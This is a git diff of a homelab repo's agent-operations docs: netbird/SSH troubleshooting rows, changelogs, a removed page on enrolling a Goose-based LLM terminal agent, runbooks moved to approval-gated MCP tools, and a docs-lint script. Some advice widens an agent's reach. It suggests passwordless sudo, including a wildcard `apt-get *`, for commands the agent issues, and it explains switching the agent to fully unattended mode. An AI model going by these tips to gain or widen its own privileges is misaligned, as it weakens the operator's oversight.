||||
| Chat-mode `!` shell can't `sudo` (`a terminal is required to read the password`) | Claude Code's `!` invocation doesn't allocate a tty, and standard `sudo` won't read its password from stdin or a non-tty pipe. | Run the sudo'd command in a real terminal outside chat. For commands the agent issues repeatedly, configure passwordless sudo for the narrow set (e.g. `/etc/sudoers.d/homelab-self` with `<user> ALL=(ALL) NOPASSWD: /usr/bin/dnf upgrade -y, /usr/bin/apt-get *`). |
|
||||
| `netbird status -d` reports `192.168.8.180:53 ... is Unavailable` but DNS actually works | netbird's UDP-53 probe times out over the relay latency (~90ms), but actual queries still flow through systemd-resolved. Cosmetic. | Ignore unless `dig @192.168.8.180 git.hubris.network` also fails — then check dnsmasq on [LXC 124](../../archive/knowledge/containers/106-auth-outpost.md). |
|
||||
| `netbird ssh` rejected with `JWT authentication failed: validate token (expected issuer=https://netbird.hubris.network/oauth2 ...)` | Peer's SSH JWT validator cached the OLD embedded-Dex issuer from before the 2026-05-21 Authentik migration. `systemctl restart netbird` and `netbird down/up` don't clear it — `client/internal/engine_ssh.go` bails out of `updateSSH()` if the SSH server is already running. | Full daemon bounce: `sudo systemctl stop netbird; sleep 3; sudo systemctl start netbird`. Verify with `grep -iE "issuer\|audience" /var/log/netbird/client.log \| tail`. Apply once per peer post-migration. |
|
||||
| `netbird ssh` JWT passes but session closes with `user privilege check failed: user dtoro not found: unknown user dtoro` | netbird-ssh defaults the remote username to the LOCAL one (operator's laptop user). Hubris and LXCs only have `root`. | Always use explicit `root@` prefix manually: `netbird ssh -p 22022 root@proxmox-server.netbird.selfhosted`. `homelab ssh <host>` does this automatically via `inventory.yaml`'s per-host `ssh.user` field (defaults to `root`). |
|
||||
| `homelab ssh hubris` (or any host on the LAN) fails with `Connection refused` or hangs, despite mesh routing being up | Off-LAN networks (operator on a VPN / coffee shop / symmetric NAT) sometimes can't reach the LAN IP even with the netbird subnet route. | Newer homelab CLIs probe the LAN with a 1.5s TCP connect and transparently fall back to the netbird FQDN. If your `/usr/local/bin/homelab` is a symlink to `/opt/homelab-context/bin/homelab` it'll pick up the fix on the next 5-min context sync. Otherwise pull the latest from gitea. |
|
||||
|
||||
## Changelog
|
||||
|
||||
### 2026-06-02 — SSH reachability post-bootstrap steps
|
||||
Added a new "Post-bootstrap: SSH reachability" section covering SSH key
|
||||
generation, pubkey publication, deployment to hosts, SSH config generation,
|
||||
and LAN IP registration. New workstations enrolled via this doc will
|
||||
automatically join the universal SSH mesh.
|
||||
### 2026-05-31 — cross-link to nomos-agent.md
|
||||
### 2026-07-12 — trimmed to current architecture
|
||||
Removed everything describing the retired `homelab` CLI-based two-step
|
||||
enrollment ceremony (now: `CLIENTS.md`'s one-shot flow), the Nous-Hermes/
|
||||
Goose cross-link (that whole flow was removed the same day), and CLI-syntax
|
||||
troubleshooting rows with no current equivalent. Migrated the still-true
|
||||
Netbird/DNS/SSH-distribution content to a knowledge-base runbook rather
|
||||
than duplicating it here. What's left is genuinely current or explicitly
|
||||
flagged as unverified. Original ~365-line version is in git history
|
||||
(`git log -- .agents/operations/agent-enrollment.md`) if any of the removed
|
||||
detail turns out to still be needed.
|
||||
|
||||
Added a sibling page covering Nous-Hermes-on-Goose enrollment ([nomos-agent.md](nomos-agent.md)) and noted it at the top of this page. The Nomos flow extends `bootstrap.sh` with `--with-nomos` and `homelab client add` with the same flag; it does not change the underlying enrollment steps documented here.
|
||||
### 2026-06-02 — SSH reachability post-bootstrap steps
|
||||
Added a section covering SSH key generation, pubkey publication,
|
||||
deployment to hosts, SSH config generation, and LAN IP registration. New
|
||||
workstations enrolled via this doc automatically join the SSH mesh.
|
||||
(Superseded 2026-07-12 — migrated to the networking runbook.)
|
||||
|
||||
### 2026-05-31 — cross-link to nomos-agent.md
|
||||
Added a sibling page covering Nous-Hermes-on-Goose enrollment. (Removed
|
||||
2026-07-12 along with the rest of that flow.)
|
||||
|
||||
### 2026-05-21 — netbird-ssh JWT issuer + username + LAN-fallback troubleshooting rows
|
||||
Added three rows to the troubleshooting table covering issues surfaced during the netbird vanilla migration: (1) post-migration SSH JWT validator cache stuck on old Dex issuer (full `systemctl stop/start` required, not `restart`), (2) `user not found` from netbird-ssh's local-username default (use explicit `root@`), and (3) homelab CLI's LAN→netbird-FQDN fallback for off-LAN operators. Companion code change: per-host `ssh.user` field in `inventory.yaml` + `homelab` CLI's `ssh_target()` helper.
|
||||
Added three rows to the troubleshooting table covering issues surfaced
|
||||
during the netbird vanilla migration. (Migrated 2026-07-12 to the
|
||||
networking runbook.)
|
||||
|
||||
### 2026-05-20 — initial page
|
||||
Captures the enrollment flow validated during Phase 2 of the homelab
|
||||
|
||||
@@ -53,34 +53,36 @@ Run from the [hubris host](../../archive/knowledge/hosts/hubris.md) as root. Whe
|
||||
|
||||
## Fleet apt operations
|
||||
|
||||
Two `homelab` subcommands wrap the common patterns; both fan out to hubris + every LXC.
|
||||
|
||||
| Command | What it does |
|
||||
| --- | --- |
|
||||
| `homelab apt-audit [--target HOST]` | Per-host table: dpkg-interrupted state, holds, upgradable count, non-apt binaries in system paths, DNS health. Exits nonzero if any host has dpkg-interrupted state. |
|
||||
| `homelab apt-upgrade --target HOST` | Launch `apt update && apt upgrade` inside a transient `systemd-run --collect` unit on the target. Survives ssh teardown. Apt configured with `Acquire::Retries=3` + `ForceIPv4=true`. |
|
||||
| `homelab apt-upgrade --all` | Same, fanned out across the standard targets. |
|
||||
| `homelab apt-upgrade ... --status` | Show running unit + tail `/var/log/homelab-apt-upgrade.log` on each target. |
|
||||
| `homelab apt-upgrade ... --safe` | Take a pre-upgrade snapshot per LXC first (`pct snapshot` → `vzdump` fallback for bind-mounted LXCs). Refuses if any snapshot fails unless `--force`. |
|
||||
| `homelab apt-upgrade ... --force` | Skip both the dpkg-audit gate and snapshot-failure refusal. |
|
||||
|
||||
PVE/kernel deferral on hubris: `homelab apt-upgrade --target hubris` will try every upgrade, including kernel + `pve-*`. To skip those, `apt-mark hold` the relevant packages on hubris first; `homelab apt-audit` shows held packages so you can confirm.
|
||||
**No current CLI equivalent.** `homelab apt-audit`/`apt-upgrade` (dpkg-state
|
||||
audit, fanned-out apt upgrade with pre-upgrade snapshots) were part of the
|
||||
retired Python `homelab` CLI and don't have a ported replacement — apt
|
||||
patching today is ad hoc `run` MCP tool calls per host, without the
|
||||
audit/snapshot/status wrapping this used to provide. If that wrapping is
|
||||
still wanted, it needs to be rebuilt (e.g. as a runbook driving `run`, or a
|
||||
new MCP tool) — see
|
||||
[runbook-dpkg-interrupted](../skills/runbook-dpkg-interrupted/SKILL.md) for
|
||||
the dpkg-interrupted recovery procedure specifically.
|
||||
|
||||
## Oikos (agent OS layer)
|
||||
|
||||
See [OIKOS.md](../OIKOS.md) for the operating model. Quick reference:
|
||||
See [OIKOS.md](../OIKOS.md) for the operating model. The `homelab` CLI this
|
||||
section used to document is retired; the actual current interface is the
|
||||
33 MCP tools cataloged in [AGENTS.md](../../AGENTS.md#3-the-mcp-server) plus
|
||||
the REST API. Closest current equivalents for what used to live here:
|
||||
|
||||
| Command | What it does |
|
||||
| Old `homelab` command | Current equivalent |
|
||||
| --- | --- |
|
||||
| `homelab service <name> explain\|health\|docs\|log\|actions\|history` | Service Console v0 — context card, cached health (`--live` to force a probe), docs, logs, safe actions + risk class, ledger history |
|
||||
| `homelab node <name> relations` | Ontology blast-radius query: what this host/service impacts, is affected by, and its full transitive blast radius |
|
||||
| `homelab change preflight <service>` | Dry-run report before mutating: risk class, current health, config repo, verification command |
|
||||
| `homelab decide <action> <entity>` | Decision classifier: risk × blast radius × confidence → auto-act or escalate |
|
||||
| `homelab signal list\|raise\|ack\|resolve\|mute` | The attention layer — pending updates, thresholds, drift, anything needing attention |
|
||||
| `homelab approval request\|list\|reply\|check` | Escalate-route grants (Matrix-delivered via Nomos, or the Oikos Console's `/approvals` page) |
|
||||
| `homelab restart <service> [--approval-id <id>]` | `--approval-id` is required whenever the service's risk class needs approval (e.g. `caddy`, `dns`) — refuses mechanically without a valid grant |
|
||||
| `homelab service <name> explain\|health\|docs\|log` | MCP `explain`, `get_service_status`, `tail_log`, `get_entity_knowledge` |
|
||||
| `homelab node <name> relations` | MCP `get_blast_radius` |
|
||||
| `homelab change preflight <service>` | MCP `preflight` |
|
||||
| `homelab signal list\|ack\|resolve\|mute` | MCP `get_signal_history`, or REST `POST /api/v1/signals/{id}/ack\|resolve\|mute` (the control-room UI's Signals page wraps these) |
|
||||
| `homelab approval request\|list\|reply\|check` | REST `GET/POST /api/v1/approvals*` (Matrix-delivered via the notifier, or the control-room UI's Operations page) |
|
||||
| `homelab restart <service> --approval-id <id>` | MCP `run` (policy-gated — auto-executes if read-only/reversible_low, otherwise queues for the same Matrix/UI approval) |
|
||||
| `homelab decide <action> <entity>` | No direct equivalent — classification now happens inline inside `run`/`request_execution`, not as a separate dry-run call |
|
||||
|
||||
Oikos Console (read-mostly dashboard): `oikos.hubris.network` once deployed — see [oikos/console/deploy/README.md](../../archive/oikos-cards/).
|
||||
There is no separately-deployed "Oikos Console" anymore — the control-room
|
||||
SPA (`web/`) is the operator dashboard, served standalone (see
|
||||
[plans/2026-07-12-wails-desktop-app.md](../../plans/2026-07-12-wails-desktop-app.md)).
|
||||
|
||||
## Related
|
||||
- [Hubris host](../../archive/knowledge/hosts/hubris.md)
|
||||
|
||||
@@ -1,210 +0,0 @@
|
||||
# Nomos agent — LLM-powered terminal sessions on a homelab client
|
||||
|
||||
Onboards [Nous Research's Hermes](https://nousresearch.com/) (a fine-tuned
|
||||
Llama variant) as a working terminal agent on a homelab client. Builds on top
|
||||
of standard client enrollment (see [agent-enrollment.md](agent-enrollment.md))
|
||||
— this page covers only the Hermes-specific additions.
|
||||
|
||||
The agent runs as a [Goose](https://goose-docs.ai/) session. Goose provides:
|
||||
|
||||
- The chat loop, multi-turn history, and streaming
|
||||
- The OpenRouter provider that routes to the configured LLM
|
||||
- The built-in `developer` extension (shell + file editor — same surface Claude
|
||||
Code has)
|
||||
- A remote MCP extension pointed at `mcp.hubris.network` for read-only
|
||||
homelab context (`list_lxcs`, `tail_log`, `search_docs`, etc.)
|
||||
|
||||
The persona is `/opt/homelab-context/NOMOS.md`, symlinked as Goose's global
|
||||
`.goosehints` so it's injected into the system prompt on every session.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
| Requirement | How |
|
||||
| --- | --- |
|
||||
| Standard enrollment complete (`homelab whoami` works) | [agent-enrollment.md](agent-enrollment.md) |
|
||||
| `secrets/openrouter-api-key.yaml` exists with a real `sk-or-...` value | See "Seeding the OpenRouter key" below |
|
||||
| The host's `age_pubkey` is on the openrouter-api-key.yaml sops rule | `homelab client add <host> --finalize-pubkey <age1...> --with-nomos` |
|
||||
|
||||
## Onboarding flow
|
||||
|
||||
```bash
|
||||
# 1. On hubris (or any enrolled client): reserve the inventory entry.
|
||||
homelab client add new-machine
|
||||
|
||||
# 2. Join new-machine to Netbird (setup-key or OIDC).
|
||||
|
||||
# 3. On new-machine: bootstrap with --with-nomos.
|
||||
TOKEN=... # gitea PAT, read:repository
|
||||
curl -fsSL -u "dtoro:$TOKEN" \
|
||||
https://git.hubris.network/dtoro/oikos/raw/branch/main/bootstrap.sh \
|
||||
-o /tmp/bootstrap.sh
|
||||
sudo HOMELAB_GITEA_TOKEN=$TOKEN bash /tmp/bootstrap.sh --with-mcp --with-nomos
|
||||
|
||||
# 4. Back on hubris: finalize the age pubkey AND grant the Nomos secret.
|
||||
homelab client add new-machine \
|
||||
--finalize-pubkey age1... \
|
||||
--with-nomos
|
||||
|
||||
# 5. Wait ≤5 min for sync, then on new-machine:
|
||||
nomos "what LXCs are running?"
|
||||
```
|
||||
|
||||
The bootstrap `--with-nomos` flag does five things, all idempotent:
|
||||
|
||||
1. Downloads the latest Goose binary into the operator's `~/.local/bin/goose`
|
||||
(upstream installer) and symlinks `/usr/local/bin/goose` to it.
|
||||
2. Symlinks `/opt/homelab-context/bin/nomos` → `/usr/local/bin/nomos`.
|
||||
3. Symlinks `/opt/homelab-context/NOMOS.md` → `/root/NOMOS.md` (Linux) or
|
||||
`/etc/NOMOS.md` (macOS) for `cat`-as-operator convenience.
|
||||
4. Drops `~/.config/goose/config.yaml` pinning the provider, model, and
|
||||
extensions (preserves any keys the operator added by hand).
|
||||
5. Symlinks `~/.config/goose/.goosehints` → NOMOS.md, so the persona is
|
||||
injected as the system prompt on every session.
|
||||
|
||||
## Seeding the OpenRouter key
|
||||
|
||||
The first time anyone enrolls with `--with-nomos`, the encrypted file
|
||||
`secrets/openrouter-api-key.yaml` contains a placeholder. On hubris (or any
|
||||
existing recipient):
|
||||
|
||||
```bash
|
||||
sops secrets/openrouter-api-key.yaml
|
||||
# editor opens; replace api_key value with the real sk-or-... key, save, close.
|
||||
git -C /opt/homelab-context add secrets/openrouter-api-key.yaml
|
||||
git -C /opt/homelab-context commit -m 'openrouter-api-key: seed real key'
|
||||
git -C /opt/homelab-context push
|
||||
```
|
||||
|
||||
Until this step happens, `nomos …` exits with `openrouter-api-key.yaml still
|
||||
contains the placeholder`. Subsequent enrollees get the real key automatically
|
||||
via `--with-nomos` (which adds them as a sops recipient on
|
||||
`secrets/openrouter-api-key.yaml`).
|
||||
|
||||
## Granting the OpenRouter key to an already-enrolled host
|
||||
|
||||
If a host was enrolled without `--with-nomos` and you want to add it later:
|
||||
|
||||
```bash
|
||||
# On hubris:
|
||||
PUBKEY=$(homelab whoami --hostname <host> | grep age_pubkey | awk '{print $2}')
|
||||
homelab client add <host> --finalize-pubkey "$PUBKEY" --with-nomos
|
||||
```
|
||||
|
||||
`--finalize-pubkey` is required by the existing flow even when the pubkey is
|
||||
unchanged — it's also the trigger that runs the sops grant.
|
||||
|
||||
After ≤5 min sync the host can decrypt the key. Bootstrap doesn't need to
|
||||
re-run; only the secret recipient list changed.
|
||||
|
||||
## Verifying
|
||||
|
||||
```bash
|
||||
homelab whoami # standard enrollment OK
|
||||
homelab secret openrouter-api-key | head -c 8 # decrypts (prints `api_key:`)
|
||||
which goose && which nomos # binaries present
|
||||
goose info -v # provider/model wiring sane
|
||||
nomos "what LXCs are running?" # interactive Goose session
|
||||
|
||||
# Non-interactive smoke test:
|
||||
echo "List the homelab MCP tools you have available" | nomos
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
The bootstrap-managed keys in `~/.config/goose/config.yaml`:
|
||||
|
||||
```yaml
|
||||
GOOSE_PROVIDER: openrouter
|
||||
GOOSE_MODEL: deepseek/deepseek-v4-flash
|
||||
GOOSE_MODE: smart_approve # asks before destructive tool calls
|
||||
extensions:
|
||||
developer:
|
||||
type: builtin
|
||||
bundled: true
|
||||
enabled: true
|
||||
name: developer
|
||||
timeout: 300
|
||||
homelab:
|
||||
type: streamable_http
|
||||
enabled: true
|
||||
name: homelab
|
||||
uri: https://mcp.hubris.network/mcp
|
||||
timeout: 60
|
||||
```
|
||||
|
||||
Override via env on a single bootstrap run:
|
||||
|
||||
```bash
|
||||
HOMELAB_NOMOS_MODEL=nousresearch/hermes-3-llama-3.1-405b \
|
||||
HOMELAB_NOMOS_MCP_URI=https://mcp.hubris.network/mcp \
|
||||
sudo bash /tmp/bootstrap.sh --with-nomos
|
||||
```
|
||||
|
||||
Any keys you add by hand (e.g. `GOOSE_TEMPERATURE`, extra `extensions.*`) are
|
||||
preserved across re-bootstraps — the merge only overwrites the keys it manages.
|
||||
|
||||
## Tool permissions
|
||||
|
||||
`GOOSE_MODE: smart_approve` is the bootstrap default: Goose runs read-only
|
||||
shell commands without prompting and asks for confirmation before destructive
|
||||
ones. To make the agent fully unattended (e.g. for scheduled jobs), set
|
||||
`GOOSE_MODE: auto` in `~/.config/goose/config.yaml`. To require confirmation on
|
||||
every tool call, use `approve`. See
|
||||
[goose-permissions](https://goose-docs.ai/docs/guides/managing-tools/goose-permissions/).
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Symptom | Cause | Fix |
|
||||
| --- | --- | --- |
|
||||
| `nomos: could not decrypt secrets/openrouter-api-key.yaml` | Host isn't a recipient on the sops rule | `homelab client add <host> --finalize-pubkey <age1...> --with-nomos` from hubris |
|
||||
| `nomos: openrouter-api-key.yaml still contains the placeholder` | No real key has been seeded yet | See "Seeding the OpenRouter key" above |
|
||||
| Goose hangs on first `nomos` invocation with no output | Goose's interactive `configure` ran on first launch and is awaiting input | Re-run; the installer is supposed to skip it (CONFIGURE=false). If it persists, run `goose configure` once manually in a real terminal to commit the config. |
|
||||
| `homelab` extension fails to connect / no MCP tools listed | MCP server upgraded in Go rewrite (`internal/mcp/server.go`, Streamable HTTP via official MCP SDK). Old FastMCP SSE transport is deprecated. | Run `docker compose --profile full up` on mac-mini, or wait for the production cutover from apps/105. |
|
||||
| `goose: command not found` after bootstrap | Upstream installer dropped binary in `~/.local/bin/` but `/usr/local/bin/goose` symlink didn't land | Re-run bootstrap with `--with-nomos`; the symlink step is at the end of the install block. If still missing, `ln -sfn ~/.local/bin/goose /usr/local/bin/goose` manually. |
|
||||
| Tool calls hit OpenRouter rate limits | One shared key across many hosts | Future: per-host keys; for now, see the rate-limits guide referenced in `goose info -v`. |
|
||||
|
||||
## Cross-references
|
||||
|
||||
- [agent-enrollment.md](agent-enrollment.md) — base client onboarding the
|
||||
Nomos flow assumes is done.
|
||||
- [`NOMOS.md`](../NOMOS.md) — the persona the Nomos agent reads on every
|
||||
session start (via `~/.config/goose/.goosehints`).
|
||||
- [`bin/nomos`](../../bin/nomos) — the wrapper that decrypts the OpenRouter key
|
||||
and execs `goose session`.
|
||||
- [`bootstrap.sh`](../../bootstrap.sh) — the `--with-nomos` flag's install block.
|
||||
|
||||
## Follow-ups
|
||||
|
||||
1. **Migrate the MCP server to streamable_http.** Goose 1.x deprecated SSE
|
||||
(`"SSE transport is no longer supported - kept only for config file
|
||||
compatibility"` in `crates/goose/src/agents/extension.rs`). Our FastMCP
|
||||
server at `internal/mcp/server.go` uses Streamable HTTP (official MCP SDK). Until
|
||||
that's changed, the `homelab` MCP extension in Goose will fail to connect.
|
||||
The developer extension (shell + edit) covers most ops without it; this is
|
||||
a polish item, not a blocker.
|
||||
2. **Per-host OpenRouter keys** for billing attribution. Today all Nomos
|
||||
hosts share one key.
|
||||
3. **Pin the model version** rather than tracking `nousresearch/hermes-4-405b`
|
||||
directly — OpenRouter periodically rotates the underlying weights.
|
||||
4. **Local-inference fallback** (ollama / vllm) once the homelab has a GPU
|
||||
node. The wrapper, persona, and MCP wiring stay unchanged; only
|
||||
`GOOSE_PROVIDER`/`GOOSE_MODEL` change.
|
||||
|
||||
7. **Caveman auto-setup via post-pull hook.** The sync timer now calls
|
||||
`tools/post-pull.sh`, which runs any `tools/*.setup.sh` after git pull.
|
||||
Currently this auto-installs the Caveman npm package, wrapper scripts, and
|
||||
compact output templates on all agent hosts (*token efficiency*).
|
||||
|
||||
## Changelog
|
||||
|
||||
### 2026-06-01 — caveman + post-pull auto-setup
|
||||
Added `tools/post-pull.sh` sync hook that auto-runs `tools/*.setup.sh`
|
||||
after every git pull. First user: `tools/setup-caveman.sh` installed Caveman
|
||||
templating + `~/bin/caveman_wrapper.sh` + `~/templates/*.txt` for token-
|
||||
efficient CLI output. Replaces raw `git pull` in launchd/systemd timers.
|
||||
Also created `tools/caveman/` with the wrapper script, JS renderer, and
|
||||
templates — the canonical source for all agent hosts.
|
||||
Captures the Nomos-on-Goose onboarding flow added in the same commit as
|
||||
`bootstrap.sh --with-nomos`, `bin/nomos`, the sops rule for
|
||||
`secrets/openrouter-api-key.yaml`, and the `homelab client add --with-nomos`
|
||||
extension. MCP streamable_http migration is queued as follow-up #1.
|
||||
@@ -2,39 +2,46 @@
|
||||
name: client-enrollment
|
||||
risk_class: config_mutation
|
||||
inputs: [hostname, kind, role]
|
||||
verification: "homelab doctor (on the new client)"
|
||||
verification: "MCP whoami(hostname) shows the entity active"
|
||||
docs_update_checklist: [hosts_narrative_page_if_lxc_or_vm]
|
||||
---
|
||||
|
||||
# Client enrollment
|
||||
|
||||
Goal: bring a new host (workstation, LXC, VM) into inventory and the
|
||||
secrets model, with mesh membership only where it's actually needed.
|
||||
This wraps the existing `homelab client add` flow — see
|
||||
[operations/agent-enrollment.md](../../operations/agent-enrollment.md) for
|
||||
the full walkthrough; this runbook is the risk/lifecycle framing.
|
||||
secrets model, with mesh membership only where it's actually needed. See
|
||||
[CLIENTS.md](../../../CLIENTS.md#enrollment) for the actual current
|
||||
flow and [operations/agent-enrollment.md](../../operations/agent-enrollment.md)
|
||||
for operational notes; this runbook is the risk/lifecycle framing.
|
||||
|
||||
1. On any enrolled client: `homelab client add <hostname>` — appends a
|
||||
`hosts.<name>:` block to `inventory.yaml` (lifecycle `state: planned`
|
||||
→ `provisioning`, per [seeds/ontology.yaml](../../../seeds/ontology.yaml)),
|
||||
commits + pushes.
|
||||
1. The entity must exist in `planned`/`provisioning` state before the new
|
||||
host can self-enroll — add a `hosts.<name>:` block to
|
||||
`seeds/inventory.yaml` and `oikos seed` to ingest it (lifecycle
|
||||
`planned` → `provisioning`, per
|
||||
[seeds/ontology.yaml](../../../seeds/ontology.yaml)).
|
||||
2. Netbird join is **optional, not a required step** — only needed for
|
||||
hosts that must be reachable off-LAN (workstations that roam, e.g.
|
||||
`republic-laptop`, `mac-mini`). A node reachable on the household LAN
|
||||
(192.168.8.0/24 — most LXCs/VMs) doesn't need it: it's already
|
||||
reachable directly, and off-LAN clients reach it too via hubris's
|
||||
routed `192.168.8.0/24` Netbird network resource. Skip this step for
|
||||
LAN-only nodes; do it (out-of-band, console or setup key) only for
|
||||
hosts that need independent off-LAN reachability.
|
||||
3. On the new host: run `bootstrap.sh` (add `--with-nomos` to also
|
||||
enroll the Hermes agent). This provisions `/etc/age/key.txt`, the
|
||||
sync timer, and prints an age pubkey.
|
||||
4. Back on an enrolled client: `homelab client add <hostname>
|
||||
--finalize-pubkey <age1...>` — sets `age_pubkey`, grants shared
|
||||
secrets, re-keys SOPS, commits + pushes. This is the
|
||||
`provisioning → active` transition.
|
||||
5. Verify: `homelab doctor` on the new client should show all checks
|
||||
green (clone, sync timer, age key, CLI symlink, MCP reachable).
|
||||
`mac-mini`). A node reachable on the household LAN (192.168.8.0/24 —
|
||||
most LXCs/VMs) doesn't need it. Skip for LAN-only nodes; do it
|
||||
(out-of-band, console or setup key) only for hosts that need
|
||||
independent off-LAN reachability.
|
||||
3. On the new host: run `bootstrap.sh`. This calls
|
||||
`POST /api/v1/clients/enroll`, which validates the entity exists and
|
||||
the mesh IP is in an expected subnet, then returns an age keypair and
|
||||
Infisical machine identity in one response — provisions
|
||||
`/etc/age/key.txt`, `/etc/infisical/identity`, and the context poller.
|
||||
4. **Known gap, confirmed 2026-07-12: `provisioning → active` has no
|
||||
working path.** `EnrollClient` (`internal/httpapi/impl.go`) sets the
|
||||
entity's state to `provisioning`, never `active`. `bootstrap.sh` prints
|
||||
`POST /api/v1/clients/ws:$HNAME/activate` as the next step, but that
|
||||
route doesn't exist — `api/openapi.yaml` only has `/clients/enroll`,
|
||||
`/clients/{slug}/context`, `/clients/{slug}/secrets`. Until this is
|
||||
fixed (add the route, or use the generic entity PATCH to flip `state`),
|
||||
a freshly-enrolled client is stuck in `provisioning` — MCP `preflight`
|
||||
and policy's `lifecycle_overrides` for `provisioning` still apply, but
|
||||
nothing transitions it onward automatically.
|
||||
5. Verify: MCP `whoami(hostname)` shows the entity in `active` state with
|
||||
its peers and health.
|
||||
|
||||
Docs-update checklist: if the new host is an LXC/VM, add its narrative
|
||||
page under `containers/` or `vms/` and set `doc_page` in its inventory
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
name: config-change-deploy
|
||||
risk_class: config_mutation
|
||||
inputs: [service_name, change_description]
|
||||
verification: "curl -sf <service_url> (or homelab service <name> health)"
|
||||
verification: "curl -sf <service_url> (or MCP get_service_status)"
|
||||
docs_update_checklist: [doc_page, changelog]
|
||||
---
|
||||
|
||||
@@ -11,11 +11,10 @@ docs_update_checklist: [doc_page, changelog]
|
||||
Goal: change a tracked config repo (Caddy, Gitea customizations, an app's
|
||||
own repo) and get it live, safely.
|
||||
|
||||
1. `homelab change preflight <service>` — current health, the service's
|
||||
`config_repo`, its risk class, and the verification command to run
|
||||
after. If risk class requires approval (`config_mutation` or
|
||||
`destructive`), stop and get operator sign-off before editing — see
|
||||
`seeds/policy.yaml`.
|
||||
1. MCP `preflight` — current health, the service's `config_repo`, its
|
||||
risk class, and the verification command to run after. If risk class
|
||||
requires approval (`config_mutation` or `destructive`), stop and get
|
||||
operator sign-off before editing — see `seeds/policy.yaml`.
|
||||
2. Clone/pull the `config_repo` (never edit the backend's working tree
|
||||
directly — tracked configs change by commit + push, per
|
||||
[OIKOS.md](../../OIKOS.md) conventions).
|
||||
@@ -24,10 +23,10 @@ own repo) and get it live, safely.
|
||||
[infrastructure/auto-deploy.md](../../../archive/knowledge/infrastructure/auto-deploy.md) for
|
||||
the exact receiver/reload for this service).
|
||||
5. Run the preflight's verification command. If it fails, check
|
||||
`homelab service <name> log` for the reload/restart error.
|
||||
6. Record the change: once `oikos/ledger.py` is wired into deploy tooling
|
||||
(Week 3), this is automatic; until then, note the change and outcome
|
||||
in the relevant investigation/plan doc.
|
||||
MCP `tail_log` for the reload/restart error.
|
||||
6. No manual record-keeping step needed — mutations made through the API
|
||||
(e.g. via the `run` MCP tool) are recorded automatically in the
|
||||
`audit_log` table.
|
||||
|
||||
Docs-update checklist: update the service's `doc_page` if the change
|
||||
alters its behavior, ingress route, or ownership; add a changelog entry
|
||||
|
||||
@@ -1,16 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Lint committed docs against .agents/shared/writing-style.md.
|
||||
|
||||
Checks two mechanical rules:
|
||||
Checks:
|
||||
1. Banned vocabulary (significance puffers, analytical verbs, poetic nouns,
|
||||
promotional adjectives, opening crutches).
|
||||
2. Broken relative markdown links.
|
||||
3. Plan status consistency (status vs location vs index).
|
||||
|
||||
Prose-voice rules are not machine-checkable; this covers the parts that are.
|
||||
Run from the repo root: python3 .agents/skills/docs-lint/lint.py [paths...]
|
||||
Exit 1 if any violation is found.
|
||||
"""
|
||||
import os, re, sys
|
||||
import os, re, sys, glob
|
||||
|
||||
BANNED = [
|
||||
"pivotal", "crucial", "vital", "groundbreaking", "transformative", "testament",
|
||||
@@ -33,9 +34,125 @@ def iter_md(paths):
|
||||
if f.endswith(".md"):
|
||||
yield os.path.join(root, f)
|
||||
|
||||
def check_plans():
|
||||
"""Check plan status consistency: active plans with 'Done' status, files
|
||||
missing from index, dangling index entries, done files with wrong status."""
|
||||
REPO = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
plans_dir = os.path.join(REPO, "plans")
|
||||
done_dir = os.path.join(REPO, "plans", "done")
|
||||
index_path = os.path.join(plans_dir, "index.md")
|
||||
|
||||
if not os.path.exists(index_path):
|
||||
return 0
|
||||
|
||||
violations = 0
|
||||
STATUS_RE = re.compile(r'^\*\*Status:\*\*\s*(.+)', re.I)
|
||||
|
||||
# Parse index.md for active and done entries
|
||||
active_files = set()
|
||||
done_files = set()
|
||||
current_section = None
|
||||
with open(index_path) as f:
|
||||
for line in f:
|
||||
if line.startswith("## Active"):
|
||||
current_section = "active"
|
||||
continue
|
||||
if line.startswith("## Done"):
|
||||
current_section = "done"
|
||||
continue
|
||||
if current_section == "active":
|
||||
m = re.search(r'\]\(([^)]+)\)', line)
|
||||
if m:
|
||||
active_files.add(m.group(1))
|
||||
elif current_section == "done":
|
||||
m = re.search(r'\]\(([^)]+)\)', line)
|
||||
if m:
|
||||
done_files.add(m.group(1))
|
||||
|
||||
# Active plans on disk (not in done/, not index.md)
|
||||
disk_active = set()
|
||||
for f in glob.glob(os.path.join(plans_dir, "*.md")):
|
||||
name = os.path.basename(f)
|
||||
if name == "index.md":
|
||||
continue
|
||||
disk_active.add(name)
|
||||
|
||||
# Done plans on disk
|
||||
disk_done = set()
|
||||
if os.path.isdir(done_dir):
|
||||
for f in glob.glob(os.path.join(done_dir, "*.md")):
|
||||
disk_done.add("done/" + os.path.basename(f))
|
||||
|
||||
# Check 1: active plans on disk whose internal status is Done/Implemented/Complete
|
||||
for name in disk_active:
|
||||
fpath = os.path.join(plans_dir, name)
|
||||
with open(fpath) as f:
|
||||
for line_num, line in enumerate(f, 1):
|
||||
if line_num > 5:
|
||||
break
|
||||
m = STATUS_RE.match(line)
|
||||
if m:
|
||||
status = m.group(1).strip().lower()
|
||||
done_keywords = ["done", "implemented", "complete", "completed"]
|
||||
if any(status.startswith(kw) for kw in done_keywords):
|
||||
print(f"{fpath}:{line_num}: status '{m.group(1).strip()}' — file is in plans/ but appears done; move to done/")
|
||||
violations += 1
|
||||
break
|
||||
|
||||
# Check 2: active plans on disk not in index
|
||||
for name in sorted(disk_active):
|
||||
if name not in active_files:
|
||||
fpath = os.path.join(plans_dir, name)
|
||||
print(f"{fpath}:1: not listed in plans/index.md Active table")
|
||||
violations += 1
|
||||
|
||||
# Check 3: done plans on disk not in index
|
||||
for name in sorted(disk_done):
|
||||
if name not in done_files:
|
||||
fpath = os.path.join(REPO, "plans", name)
|
||||
print(f"{fpath}:1: not listed in plans/index.md Done table")
|
||||
violations += 1
|
||||
|
||||
# Check 4: index entries with no file on disk
|
||||
for name in sorted(active_files):
|
||||
if name not in disk_active:
|
||||
print(f"plans/index.md: active entry '{name}' — file not found on disk")
|
||||
violations += 1
|
||||
|
||||
for name in sorted(done_files):
|
||||
if name not in disk_done:
|
||||
print(f"plans/index.md: done entry '{name}' — file not found on disk")
|
||||
violations += 1
|
||||
|
||||
# Check 5: files in done/ whose internal status doesn't say Done
|
||||
for name in disk_done:
|
||||
